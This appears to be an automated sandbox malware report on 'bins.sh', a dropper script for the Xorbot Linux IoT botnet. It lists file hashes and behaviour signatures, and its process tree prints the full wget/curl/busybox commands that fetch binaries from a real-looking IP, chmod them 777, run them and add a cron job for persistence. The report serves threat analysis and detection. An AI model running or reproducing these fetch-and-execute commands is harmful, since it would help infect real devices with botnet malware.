Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01-12-2024 04:32

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    43a7e0e0ca8aa63651fa7f672e7fafd2

  • SHA1

    d584eafdf115abfb917f067045c128f844b16274

  • SHA256

    733dcd188e273babf0c1afe8c2482c6cb61d75171cb0feb800f95c5ffa1f4f86

  • SHA512

    96ecbce3c068b3bc8739e59b2d896e47cb893c309119408a033947484cbd3bc4892bd92ed98b6574817d65bc8f8ee7172626ce74b8d915504fa4bd0a6236bc3a

  • SSDEEP

    96:YD1++8dZyJ0JC99KjtJFuVBbcFYVBCF7gzjtfKZgtXDWA++8dZ0mRZ:Q++8dZyJ0JCzcJEVu2wW9++8dZvZ

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1500
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1501
        • /usr/bin/wget
          wget http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Writes file to tmp directory
          PID:1502
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/chmod
          chmod 777 UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          ./UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
          • Executes dropped EXE
          PID:1511
        • /bin/rm
          rm UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
          2⤵
            PID:1513
          • /usr/bin/wget
            wget http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Writes file to tmp directory
            PID:1515
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /bin/chmod
            chmod 777 pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • File and Directory Permissions Modification
            PID:1517
          • /tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            ./pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
            • Executes dropped EXE
            PID:1518
          • /bin/rm
            rm pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
            2⤵
              PID:1520
            • /usr/bin/wget
              wget http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • Writes file to tmp directory
              PID:1521
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • Writes file to tmp directory
              PID:1522
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • Writes file to tmp directory
              PID:1523
            • /bin/chmod
              chmod 777 X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • File and Directory Permissions Modification
              PID:1524
            • /tmp/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              ./X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
              • Executes dropped EXE
              PID:1525
            • /bin/rm
              rm X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
              2⤵
                PID:1527
              • /usr/bin/wget
                wget http://216.126.231.240/bins/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /bin/chmod
                chmod 777 mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • File and Directory Permissions Modification
                PID:1531
              • /tmp/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                ./mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                • Executes dropped EXE
                PID:1532
              • /bin/rm
                rm mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                2⤵
                  PID:1534
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:1535
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:1536
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:1537
                • /bin/chmod
                  chmod 777 UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1538
                • /tmp/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                  ./UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:1539
                • /bin/rm
                  rm UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                  2⤵
                  • System Network Configuration Discovery
                  PID:1541
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                  2⤵
                  • Writes file to tmp directory
                  PID:1542
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                  2⤵
                  • Writes file to tmp directory
                  PID:1543
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                  2⤵
                  • Writes file to tmp directory
                  PID:1544
                • /bin/chmod
                  chmod 777 X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1545
                • /tmp/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                  ./X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1546
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1548
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1549
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1550
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1551
                      • /bin/rm
                        rm X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                        2⤵
                          PID:1553
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/XNVg4qaZCbeT2c29doj8sw8CQ45tcQ20Qs
                          2⤵
                            PID:1556

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          Download Submit

                        • /tmp/UiPjiJzt4hskryCUcwrziIw4eaUimncATN
                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          Download Submit

                        • /tmp/X0pcfB0ebFaR9uzwGr4uEqf5klAgCZtVYJ
                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          Download Submit

                        • /tmp/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          Download Submit

                        • /tmp/mQ2XjsOrNR6tW0AKsQ0C2T5sJGkUDypx5z
                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          Download Submit

                        • /tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          Download Submit

                        • /var/spool/cron/crontabs/tmp.w5b9sq
                          Filesize

                          210B

                          MD5

                          347f1a7bd15d945016bbd40f7acbfd21

                          SHA1

                          4b1845814d300a15d93eb630827a2f98fc9010ec

                          SHA256

                          a337d37bebb774ff724094fa0c18bf987f8cd9affea013178db9ff0e879bd9a6

                          SHA512

                          3d648d72bc5c01ba876753aa33100e0562d6a868b3e625230f903f7acdadb7ba7b20f6ae66c71d47d6d008a54db4ff89d7bf9baf348826959d95e8e4d231c0ca

                          Download Submit